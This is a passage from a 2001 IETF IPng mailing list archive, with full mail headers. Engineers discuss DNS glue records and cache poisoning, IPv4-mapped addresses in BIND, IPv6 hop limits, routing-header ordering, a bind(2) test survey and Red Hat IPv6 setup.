an out-of-bailiwick glue record for use with queries other than the one you received it with.) As long as I'm here, some smaller points we don't actually have a reason to care about: > And even if the client did request the A record, all it will get is > a non-auth answer What keeps the .com servers from marking the answer as authoritative? > All it can expect is a request for the NS records for aol.com, which > is all that some clients might request. What resolvers ask the .com servers for aol.com NS without asking for www.aol.com A first? You seem to be assuming that resolvers are aware, a priori, of a zone boundary between com and aol.com. Why would they be, if the .com servers don't want them to be? -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 9 13:50:07 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f49KmPG17092 for ipng-dist; Wed, 9 May 2001 13:48:25 -0700 (PDT) Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f49KmJ417085 for ; Wed, 9 May 2001 13:48:19 -0700 (PDT) Received: (from jrh@localhost) by stinker.eng.sun.com (8.11.0+Sun/8.11.0) id f49Kikq17184 for ipng@sunroof.eng.sun.com; Wed, 9 May 2001 13:44:46 -0700 (PDT) Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f49Gi2416554 for ; Wed, 9 May 2001 09:44:02 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA08037 for ; Wed, 9 May 2001 09:44:01 -0700 (PDT) Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA29643 for ; Wed, 9 May 2001 09:43:59 -0700 (PDT) Received: from shilpa.india.hp.com (shilpa.india.hp.com [15.10.43.114]) by atlrel1.hp.com (Postfix) with ESMTP id 459318B2; Wed, 9 May 2001 12:43:53 -0400 (EDT) Received: (from praveen@localhost) by shilpa.india.hp.com (8.8.6 (PHNE_17135)/8.8.6 SMKit7.02) id WAA27333; Wed, 9 May 2001 22:12:52 +0530 (IST) From: Praveen Kumar Amritaluru Message-Id: <200105091642.WAA27333@shilpa.india.hp.com> Subject: Re: BIND 9.1.1 AND IPv4-MAPPED IPv6 addresses To: Stig.Venaas@uninett.no Date: Wed, 9 May 2001 22:12:51 +0530 (IST) Cc: sogor@mars.arts.u-szeged.hu, BIND9-WORKERS@isc.org, ipng@sunroof.eng.sun.com In-Reply-To: <20010509131939.A21654@sverresborg.uninett.no> from Stig Venaas at May "9," 2001 "01:19:39" pm X-Mailer: ELM [$Revision: 1.17.214.3 $] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi, In my opinion too, mapped addresses should never be present in db files. The resolver calls like getipnodebyname()/getaddrinfo() or other calls will dynamically generate IPv4-mapped-IPv6 addresses. This has been made amply clear in RFC2553 although implicitly. It says that getipnodebyname() calls should generate IPv4-mapped-IPv6 addresses on fly when it cannot find AAAA records. The call will query for A records and generate mapped addresses from these records and return the results. This inturn implies that no mapped addresses should be present in db files. But what seems to be ambiguous is IPv4-compatible-IPv6 addresses. There is no reference about this except in getipnodebyaddr() in RFC2553 which says that initial 12 bits needs to be stripped and then query is made for the IPv4 address in in-addr.arpa domain. This seems to suggest that we need to have a PTR record for IPv4-compatible-IPv6 addresses in in-addr.arpa domain as is the case with A records (IPv4 addresses) and not IP6.INT domain. But how about forward resolution, should AAAA records or A records need to be generated for IPv4-compatible-IPv6 addresses. There is a reference in "Unix Network Programming Volume-1 by Stevens" that says IPv4-compatible-IPv6 addresses should have AAAA records which was probably written before RFC2553 was drafted. But there seems to be little inconsistency b/w this reference in UNP-1 by Stevens and RFC2553 which states for reverse resolution it has to take it from in-addr.arpa domain. Or does it mean that forward resolution uses AAAA records for compatible addresses and in-addr.arpa domain (IPv4 address reverse domain) for address -> nodename resolution. Actually there is no flag similar to AI_V4MAPPED for generating IPv4-compatbile-IPv6 address?? Is this a required one? Any ideas regarding IPv4-compatbile-IPv6 addresses. Cheers, Praveen > > On Wed, May 09, 2001 at 01:04:31PM +0200, Sogor Laszlo wrote: > > In the root.hint file of IPv6 DNS server there is an IPv4-mapped address > > (::ffff:0:0/96): > > > > . 3600000 IN NS ns.root > > ns.root 3600000 AAAA ::ffff:192.168.1.2 > > In my opinion mapped addresses should never ever be used in the DNS > or on the wire. Only exception for using it on the wire is SIIT, > with NAT-PT you should choose some other prefix if possible. You > might have a look at RFC 2766, and look for where it says PREFIX. > > > So BIND don't handle IPv4-mapped IPv6 addresses, but mapped addresses must > > be used because of the NAT-PT. :(( > > No, or are mapped addresses hard coded in the implementation? > > Stig > > -- ============================================================================== Praveen Kumar Amritaluru Phone (Off) : (91)(80)2251554 x 1306 HP India Software Operations Telnet : 847-1306 Bangalore 560 052 India. ============================================================================== -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 9 14:19:35 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f49LHv417244 for ipng-dist; Wed, 9 May 2001 14:17:57 -0700 (PDT) Received: from eastmail2.East.Sun.COM (eastmail2.East.Sun.COM [129.148.1.241]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f49LHl417237 for ; Wed, 9 May 2001 14:17:48 -0700 (PDT) Received: from thunk.east.sun.com (thunk.East.Sun.COM [129.148.174.66]) by eastmail2.East.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA25089; Wed, 9 May 2001 17:17:42 -0400 (EDT) Received: from thunk (localhost [127.0.0.1]) by thunk.east.sun.com (8.11.3+Sun/8.11.3) with ESMTP id f49LHIC08418; Wed, 9 May 2001 17:17:18 -0400 (EDT) Message-Id: <200105092117.f49LHIC08418@thunk.east.sun.com> From: Bill Sommerfeld To: Greg Hudson cc: Robert Elz , ipng@sunroof.eng.sun.com, namedroppers@ops.ietf.org Subject: Re: Cache poison (was Re: AAAA/A6 thing) In-reply-to: Your message of "Tue, 08 May 2001 10:26:57 EDT." <200105081426.KAA25440@egyptian-gods.MIT.EDU> Reply-to: sommerfeld@east.sun.com Date: Wed, 09 May 2001 17:17:18 -0400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk An alternate way to avoid cache poisoning which avoids the need to invent a new "b**l*w*ck" concept: - never enter glue into any part of the cache's namespace - attach glue records to the NS records they came with; when a cache resolves an NS record into a set of locations, fall back to the NS record's attached glue records if there isn't a "real" cached entry. - Bill -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 9 16:23:13 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f49NLbw17589 for ipng-dist; Wed, 9 May 2001 16:21:37 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f49NLS417582 for ; Wed, 9 May 2001 16:21:28 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA20740 for ; Wed, 9 May 2001 16:21:25 -0700 (PDT) Received: from mail4.microsoft.com (mail4.microsoft.com [131.107.3.122]) by saturn.sun.com (8.9.3+Sun/8.9.3) with SMTP id QAA27873 for ; Wed, 9 May 2001 16:21:24 -0700 (PDT) Received: from 157.54.9.104 by mail4.microsoft.com (InterScan E-Mail VirusWall NT); Wed, 09 May 2001 14:48:59 -0700 (Pacific Daylight Time) Received: from red-imc-02.redmond.corp.microsoft.com ([157.54.9.107]) by inet-imc-02.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Wed, 9 May 2001 14:48:22 -0700 Received: from win-imc-02.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.82]) by red-imc-02.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Wed, 9 May 2001 14:48:20 -0700 Received: from win-msg-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.52]) by win-imc-02.wingroup.windeploy.ntdev.microsoft.com with Microsoft SMTPSVC(5.0.2195.1600); Wed, 9 May 2001 14:47:57 -0700 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: RE: HopLimit for IPv6 X-MimeOLE: Produced By Microsoft Exchange V6.0.4688.0 Date: Wed, 9 May 2001 14:47:56 -0700 Message-ID: <2E33960095B58E40A4D3345AB9F65EC1B582EA@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: HopLimit for IPv6 Thread-Index: AcDYyHybNe6dKH2eTfGDmEd0g/jJ4QACNg+Q From: "Dave Thaler" To: "Lori Napoli" , X-OriginalArrivalTime: 09 May 2001 21:47:57.0167 (UTC) FILETIME=[B5871FF0:01C0D8D1] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id f49NLS417583 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Lori Napoli writes: > If an adminstrator set up the stack to have a hoplimit of x. Does this > imply that any application, authorized and unauthorized, can override > this value? If the adminstrator only wanted packets sent from this > stack to route through 10 hosts, an application can increase this? It's up to the implementation. I think the usual answer would be "yes". > Does > it make sense to only allow the application to specify a hop limit that > is lower than the configured hop limit for the stack? Not sure. > RFC 1122 states you MUST not send out a packet w/ a TTL of 0. Does > this > mean that we shouldn't send out an IPv6 packet w/ hop limit = 0? One shouldn't send an IPv6 packet out on the wire with hop limit = 0. > If so, > why does the RFC state the valid values are 0 - 255? Since the packet > cannot be sent out using hop limit of 0, does it make more sense to > fail > a request to set it to 0? No. Packets with a hop limit of 0 can still be sent on the same machine, for example between different processes. -Dave -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 9 18:50:48 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4A1m1517825 for ipng-dist; Wed, 9 May 2001 18:48:01 -0700 (PDT) Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4A1lo417818 for ; Wed, 9 May 2001 18:47:50 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA14464 for ; Wed, 9 May 2001 18:47:46 -0700 (PDT) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA26084 for ; Wed, 9 May 2001 18:47:39 -0700 (PDT) Received: from localhost ([3ffe:8050:201:1860:ad67:5862:ab6b:8dc2]) by shuttle.wide.toshiba.co.jp (8.9.1+3.1W/8.9.1) with ESMTP id KAA06471; Thu, 10 May 2001 10:46:31 +0900 (JST) Date: Thu, 10 May 2001 10:46:09 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: users@ipv6.org, ipng@sunroof.eng.sun.com Subject: Re: questionnaire: bind(2) (and IPV6_V6ONLY) behavior In-Reply-To: References: User-Agent: Wanderlust/2.5.8 (Smooth) Emacs/21.0 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 32 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hello, again, >>>>> On Wed, 09 May 2001 08:24:43 +0900, >>>>> JINMEI Tatuya said: > As the first step, I'd like to collect differences among > implementations using some test scripts. So, if you have time, could > you spend some time to do the test on your system(s)? > The test tool is freely available at the following URL: > http://orange.kame.net/dev/cvsweb.cgi/kame/kame/kame/bindtest/ Based on a (personal) comment from Vlad, I realized that I'd need some more additional test cases...so, if you have still more time, please grab the latest tool at the URL above, and do the following tests (note that the procedure changes a bit.) - make sure to assing an IPv4 address (!= 127.0.0.1) on the test node. - compile bindtest (see Makefile) - run test.sh like this: % sh test.sh -o ipv4addr myplatform.txt where "ipv4addr" is the IPv4 address assigned at the 1st step. - send myplatform.txt to me, with exact indication of OS name/version number/build date/whatever Thanks, JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 10 11:19:37 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4AIHa619296 for ipng-dist; Thu, 10 May 2001 11:17:36 -0700 (PDT) Received: from stinker.eng.sun.com (stinker [129.146.86.121]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4AIHV419289 for ; Thu, 10 May 2001 11:17:31 -0700 (PDT) Received: (from jrh@localhost) by stinker.eng.sun.com (8.11.0+Sun/8.11.0) id f4AIDut17553 for ipng@sunroof.eng.sun.com; Thu, 10 May 2001 11:13:56 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4AEcO418873 for ; Thu, 10 May 2001 07:38:24 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA28541 for ; Thu, 10 May 2001 07:38:24 -0700 (PDT) Received: from mailrelay1.chek.com (plotnick.chek.com [208.197.227.116]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with SMTP id HAA20375 for ; Thu, 10 May 2001 07:38:23 -0700 (PDT) Received: (qmail 31295 invoked from network); 10 May 2001 14:38:21 -0000 Received: from fancyfeast.chek.com (208.197.227.100) by mailrelay1.chek.com with SMTP; 10 May 2001 14:38:21 -0000 Received: (qmail 23388 invoked by uid 99); 10 May 2001 14:38:03 -0000 Date: 10 May 2001 14:38:03 -0000 Message-ID: <20010510143803.23386.qmail@fancyfeast.chek.com> From: "Emanuel Moreira" To: ipng@sunroof.eng.sun.com, msripv6-users@list.research.microsoft.com, users@ipv6.org X-MASSMAIL: 1.0 X-Originating-IP: [193.137.173.132] Subject: Address configuration Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I'm using Red Hat 7.1 and trying to configure an IPv6 address but I can't do it. Can any one tell me where can I get some information about this? Another question, I have configured a 6to4 router in windows 2000 will the host with Linux get the routes anounced by the router? _____________________________________________________________ O e-mail preferido dos portugueses http://www.portugalmail.pt -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 10 11:56:51 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4AItLs19505 for ipng-dist; Thu, 10 May 2001 11:55:21 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4AItB419498 for ; Thu, 10 May 2001 11:55:11 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA27093 for ; Thu, 10 May 2001 11:55:10 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id MAA01302 for ; Thu, 10 May 2001 12:55:04 -0600 (MDT) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.1/8.11.1) with ESMTP id f4AIso913625; Thu, 10 May 2001 21:54:54 +0300 Date: Thu, 10 May 2001 21:54:49 +0300 (EEST) From: Pekka Savola To: Emanuel Moreira cc: , , Subject: Re: Address configuration [off-topic] In-Reply-To: <20010510143803.23386.qmail@fancyfeast.chek.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On 10 May 2001, Emanuel Moreira wrote: > I'm using Red Hat 7.1 and trying to configure an IPv6 address but I can't do it. Can any one tell me where can I get some information about this? Read the Source, Luke. ;-) /usr/share/doc/initscripts-*/ contains a couple of files describing step by step how to set up a tunnel, and the usual stuff required for configuring IPv6. Basically, if you want to autoconfigure a workstation from a router in the same LAN, adding: NETWORKING_IPV6=yes IPV6INIT=yes in your /etc/sysconfig/network and doing '/sbin/service network restart' should do the trick. You might also want to check http://www.bieringer.de/ pages on IPv6 on RHL. > Another question, I have configured a 6to4 router in windows 2000 will the host with Linux get the routes anounced by the router? Yes. Until very recently, however, Linux kernel broke RFC2461 so that it sent lladdr option in neighbour solicitations originating from the unspecified address. Implementations MUST drop these as per the same RFC. If Windows 2000 implementation is strict about this, there might be some problems communicating with the two systems. This will be fixed in RHL errata kernel which is to come out sooner or later. Note, I don't think ipng@sunroof.eng.sun.com is the correct place for this kind of implementation-specific basic issues. I suggest using some other list (e.g. linux-net@vger.kernel.org, or a RHL-specific one) for that. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 10 13:18:11 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4AKGLR19679 for ipng-dist; Thu, 10 May 2001 13:16:21 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4AKGC419672 for ; Thu, 10 May 2001 13:16:12 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA19701 for ; Thu, 10 May 2001 13:16:10 -0700 (PDT) Received: from minuet.das.harvard.edu (minuet.das.harvard.edu [140.247.50.251]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA24121 for ; Thu, 10 May 2001 13:16:08 -0700 (PDT) Received: from endor.deas.harvard.edu (endor.harvard.edu [128.103.50.55]) by minuet.das.harvard.edu (8.9.1/8.9.1) with ESMTP id QAA22485 for ; Thu, 10 May 2001 16:16:07 -0400 (EDT) From: Dan Lanciani Received: (from ddl@localhost) by endor.deas.harvard.edu (8.8.8/8.8.8) id QAA28316 for ipng@sunroof.eng.sun.com; Thu, 10 May 2001 16:16:08 -0400 (EDT) Date: Thu, 10 May 2001 16:16:08 -0400 (EDT) Message-Id: <200105102016.QAA28316@endor.deas.harvard.edu> To: ipng@sunroof.eng.sun.com Subject: Towards a more modest portable identifier Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Since the chances of getting a fully general portable identifier into IPv6 are slim to none at this point, I've decided to implement a less ambitious approach based on auto-tunneling site-local address space. Think of it as 6to6 by analogy to 6to4. 38 bits isn't 48 bits, but it's a lot better than nothing. I will probably prototype on FreeBSD. Because this approach doesn't require any changes at all to the core protocols I won't trouble this list further with the project. If anyone else is interested, please contact me directly. Dan Lanciani ddl@harvard.edu -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 10 16:21:41 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4ANKFZ20278 for ipng-dist; Thu, 10 May 2001 16:20:15 -0700 (PDT) Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4ANK6420271 for ; Thu, 10 May 2001 16:20:06 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA05040 for ; Thu, 10 May 2001 16:20:06 -0700 (PDT) Received: from e22.nc.us.ibm.com (e22.nc.us.ibm.com [32.97.136.228]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA10858 for ; Thu, 10 May 2001 16:20:04 -0700 (PDT) Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.ibm.com [9.37.3.209]) by e22.nc.us.ibm.com (8.9.3/8.9.3) with ESMTP id TAA74644 for ; Thu, 10 May 2001 19:11:25 -0500 Received: from d04nm300.raleigh.ibm.com (d04nm300.raleigh.ibm.com [9.67.228.165]) by southrelay02.raleigh.ibm.com (8.11.1/NCO v4.96) with ESMTP id f4ANIjE33112 for ; Thu, 10 May 2001 19:18:45 -0400 Importance: Normal Subject: To: ipng@sunroof.eng.sun.com X-Mailer: Lotus Notes Release 5.0.7 March 21, 2001 Message-ID: From: "Lori Napoli" Date: Thu, 10 May 2001 19:12:50 -0400 X-MIMETrack: Serialize by Router on D04NM300/04/M/IBM(Beta 1 M8_03292001|March 29, 2001) at 05/10/2001 07:18:44 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In RFC 2460 it states "IPv6 nodes must accept and attempt to process extension headers in any order and occuring any number of times in the same packet, except for the Hop-by-Hop Options header which is restricted to appear immediately after an IPv6 IP Header." Below are some discussions my colleagues and I have had on the Routing Type 0 extension header. Any insight you can shed would be appreciated. Duplicate Constraint There are two conceivable cases that could produce multiple routing headers in one packet. First, the originating node inserted two of these headers because the desired route had more than 255 hops, the maximum number of hops that can be specified in a single header. However, the IPv6 Hop Limit field is an 8-bit field specifying a maximum hop limit of 255. Inserting two routing headers covering more than 255 hops would prevent the packet from ever reaching its destination because the IPv6 hop limit would be exhausted. It should be noted that an extension header alone covering 255 hops would be nearly 4k bytes. Not only would specifying more than 255 hops prevent the packet from reaching it's destination, it would waste internet resources processing these huge headers. Allowing the packet originator to insert two routing headers covering less than 255 hops combined, though unnecessary and inefficient, seems ok initially. However, this case is indistinguishable from the second case which should not be allowed. Comments? The second case that could cause multiple Type 0 Routing headers to appear in one packet is if an intermediate node inserted one. This would force the packet to visit more nodes than the packet originator intended and may prevent the packet from reaching the destination intended by the originator. If the intermediate node inserted a new routing header before the original routing header (closer to the IPv6 header), it would arrive at a different destination (D2) when the new routing header is exhausted. If the new destination (D2) has a route to the next segment specified in the original routing header, the packet will be forwarded and may or may not eventually reach the final destination intended by the packet originator. The real problem occurs if an intermediate node inserts a new routing header after the original routing header (farther from the IPv6 header). When the original routing header is exhausted, the packet has reached the final destination intended by the packet originator. However, since another unexhausted routing header is present after the original, it would be processed and cause the packet to be forwarded elsewhere. If the final destination of the new routing header is the same as the original routing header, the packet may arrive back at the intended final destination but it will have unnecessarily traveled at least two more hops. Otherwise, the packet will fail to reach the final destination intended by the packet originator. This last case should clearly not be allowed and is indistinguishable from the first case described. Therefore, should either of these cases should be allowed? Ordering Constraints Does it makse sense for a routing header to follow a Fragment header? RFC 2460 says, "...unlike IPv4, fragmentation in IPv6 is performed only by source nodes, not by routers along a packet's delivery path." It also states "extension headers must be processed strictly in the order they appear in the packet". This statement does not explicitly forbid reassembly from occuring at an intermediate node which is what would occur if a routing header followed a Fragment header**. However, a problem occurs if an intermediate node reassembles a packet and the MTU for the next hop is smaller than the size of the reassembled packet. In this case, the intermediate node should discard the packet and send a "Packet Too Big" message back to the source. This would cause a loop that would prevent the packet from ever reaching it's final destination. On the other hand, if the intermediate node did fragment the reassembled packet and forward it, the packet might reach it's final destination but this would violate the RFC statement that fragmentation only occurs at source nodes. >From RFC 2402 (IP Authentication Header) "If required, reassembly is performed prior to AH processing. If a packet offered to AH for processing appears to be an IP fragment the receiver MUST discard the packet" RFC 2406 has exactly the same wording applied to ESP headers. If we adhere to the rules in RFC 2460 that extension headers must be processed in the order received, then an implementation cannot accept an ESP or AH header before a Fragment header. This packet will be discarded per the rules in RFCs 2402 and 2406, right? ** A routing header followed by a Fragment header is the only way reassembly could occur at an intermediate node. Reassembly by definition is to take place at the final destination. Thanks Lori Napoli z/OS Communications Server Development - TCP/IP Stack 919-254-6146 T/L 8-444-6146 E-mail: lanapoli@us.ibm.com -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu May 10 16:39:18 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4ANbin20320 for ipng-dist; Thu, 10 May 2001 16:37:44 -0700 (PDT) Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4ANbZ420313 for ; Thu, 10 May 2001 16:37:35 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA04846 for ; Thu, 10 May 2001 16:37:35 -0700 (PDT) Received: from e22.nc.us.ibm.com (e22.nc.us.ibm.com [32.97.136.228]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA20710 for ; Thu, 10 May 2001 16:37:34 -0700 (PDT) Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.ibm.com [9.37.3.209]) by e22.nc.us.ibm.com (8.9.3/8.9.3) with ESMTP id TAA60668 for ; Thu, 10 May 2001 19:28:55 -0500 Received: from d04nm300.raleigh.ibm.com (d04nm300.raleigh.ibm.com [9.67.228.165]) by southrelay02.raleigh.ibm.com (8.11.1/NCO v4.96) with ESMTP id f4ANaFE119054 for ; Thu, 10 May 2001 19:36:15 -0400 Importance: Normal Subject: To: ipng@sunroof.eng.sun.com X-Mailer: Lotus Notes Release 5.0.7 March 21, 2001 Message-ID: From: "Lori Napoli" Date: Thu, 10 May 2001 19:30:09 -0400 X-MIMETrack: Serialize by Router on D04NM300/04/M/IBM(Beta 1 M8_03292001|March 29, 2001) at 05/10/2001 07:36:15 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In looking at the IPv6 RFCs, I don't see any mention that an IPv4-mapped address should not be sent as source or destination address in an IPv6 header, except in conjunction with IPv4-translatable addresses (from SIIT). Is this statment true? If so, is it documented in one of the RFCs that I may have missed? Thanks Lori Napoli z/OS Communications Server Development - TCP/IP Stack 919-254-6146 T/L 8-444-6146 E-mail: lanapoli@us.ibm.com -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri May 11 01:21:07 2001 Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) id f4B8Jpg20936 for ipng-dist; Fri, 11 May 2001 01:19:51 -0700 (PDT) Received: from bebop.france (bebop.France.Sun.COM [129.157.174.15] (may be forged)) by sunroof.eng.sun.com (8.11.4.Beta0+Sun/8.11.4.Beta0) with ESMTP id f4B8Ja420929 for ; Fri, 11 May 2001 01:19:37 -0700 (PDT) Received: from lillen (lillen [129.157.212.23]) by bebop.france 